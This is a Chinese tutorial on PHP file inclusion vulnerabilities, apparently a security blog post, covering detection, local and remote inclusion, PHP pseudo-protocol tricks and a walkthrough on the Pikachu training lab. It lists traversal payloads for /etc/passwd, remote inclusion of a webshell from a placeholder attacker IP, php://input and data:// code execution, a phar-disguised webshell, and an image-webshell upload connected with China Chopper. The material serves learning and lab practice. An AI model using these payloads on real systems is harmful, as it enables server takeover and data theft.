目录
简介
#文件包含漏洞
原理,检测,类型,利用,修复等
#文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<!-—#include file="1.asp " -->
<!--#include file="top.aspx"-->
<c:import url="http://lthief.one/1.jsp">
<jsp:include page="head .jsp" / >
<%@ include file="head.jsp" %>
<?php Include ( 'test.php ' ) ?>
0x0 文件包含漏洞原理
文件包含可以解析文件的代码,而直接HTTP服务访问文本的时候能发现只能是文本
文件包含源代码:
<?php
$filename=$_GET['filename'];
include($filename);
?>
通过文件包含漏洞访问文本文件时,不仅脚本格式进行解析,还运行到当前网站身上
直接访问txt文本,发现只是普通的字符串
简单的一句话来概括就是将指定包含文件里面的内容,以这个网站的脚本代码去执行,如果网站是php那就是php执行,如果是jsp,那就是jsp执行
0x1 检测文件包含漏洞
检测思路:
我们以靶场pikachu为例,可以用手工看参数值,filename意思是文件,那么也就是关于文件操作的安全,再看看它的变量名是php脚本。我们知道文件包含原理是执行网站的脚本代码,那么正常情况下包含的肯定是关于网站的脚本代码文件,而不是图片。那么此网页显示出了图片(可以判定通过php代码来显示图片),再通过搜索框里的文件名为php后缀,就可以判断出此服务是具有文件包含漏洞的性质。经过测试得知,filename是可控变量,那么后续操作就本地文件读取解析文件和协议流玩法
其他的检测思路:
白盒测试:代码审计
黑盒测试:搜索引擎,工具,手工
0x2 文件包含漏洞类型
类型有本地包含和远程包含,远程包含危害最大
这里只讲有限制的类型,无限制的没必要讲
本地包含-有限制
?filename=../../../etc/passwd%00
%00截断:条件是magicquotes_gpc =Off php版本<5.3.4
?filename=../../../etc/passwd../../../../(或者.)
长度截断:条件:windows,点好需要长于256;linux长于4096
远程包含-有限制
支持远程包含开关
?filename=http://攻击者ip/muma.txt%20
?filename=http://攻击者ip/muma.txt?
?filename=http://攻击者ip/muma.txt%23
不过我在测试实验的时候不小心犯了低级错误,希望大家不要和我发生同样的问题
我在测试的时候忘记了自己的网站服务是搭建在D盘里,而我的文件是在E盘所以我以为是我的文件包含代码写错了。
0x3 文件协议流
在ctf比赛中,文件包含可能涉及到伪协议,将伪协议放入文件包含中就能拿到flag
不同的版本支持的协议也不一样
file:///文件的绝对路径
php://filter/convert.base64-encode/resource=文件名 (php伪协议)
php://input(输入到搜索框)post输入php执行代码
data://text/plain,<?php php代码;?>
phar://伪协议
这个就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马shell。php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式
0x4 实战
pikachu(Inclusion local)
通过0x1的检测思路来判断该服务为文件包含漏洞
访问不成功,不具备远程包含的性质
通过文件上传的漏洞,尝试上传一张图片马
我们尝试一下路径对比,发现相同的点都在vul路径上, 那么通过文件包含漏洞的原理,可以知道网站是以脚本解析该包含文件的脚本代码,而不是以图片展示,那么只需修改路径让图片马的路径展示到该页面即可
http://192.168.3.12/pikachu/vul/fileinclude/fi_local.php?filename=file1.php(文件包含url)
http://192.168.3.12/pikachu/vul/unsafeupload/uploads/a.jpg
发现文件包含的url需要返回两级的目录即可到达muma的路径范围,那么构造的url路径为 ?filename=../../unsafeupload/uploads/a.jpg
可以发现网站并没有显示a.jpg图片而是以网站的脚本代码解析了该图片,现在尝试使用菜刀连接该url路径就成功了
当然也可以包含本地文件的敏感信息,windows中要区分是哪个盘,linx知道路径即可
Pikachu (Inclusion remote)
就由题目所说是远程包含漏洞,我也懒得测试了,可以发现输入百度链接的时候直接跳转,那么我们可以尝试构造一句话木马搭建在本地的服务,让文件包含解析到攻击者的文本文件而成功的触发到让脚本代码得到解析
编写test.txt
发现服务端的主机成功的被攻击者构造的文本文件进行代码解析,而让服务端本地的敏感信息得到泄露
可能你会问,为什么不是php后缀名而是txt格式,因为我尝试过了,如果是使用的是php格式,那么服务端访问的时候不仅不需要解析,而且只是单纯的访问我的php代码,执行的是我自己的脚本,而不是服务器。所以如果是文本让服务端的远程包含去访问,那么解析和运行的是服务端,而不是我。
协议流玩法:当然知道了对方的路径等信息,可以直接进行读取,或者其他协议流操作
0x4 总结
文件包含和SSRF漏洞很容易混淆,区别主要在于文件包含漏洞可以执行和解析脚本代码的文件还有协议流等操作。而SSRF漏洞一般是用于探测内网信息和端口服务,还有的就是配合协议流读取本地文件。我们知道修改了可控变量的时候导致了漏洞的触发,所以白名单限制的话会更安全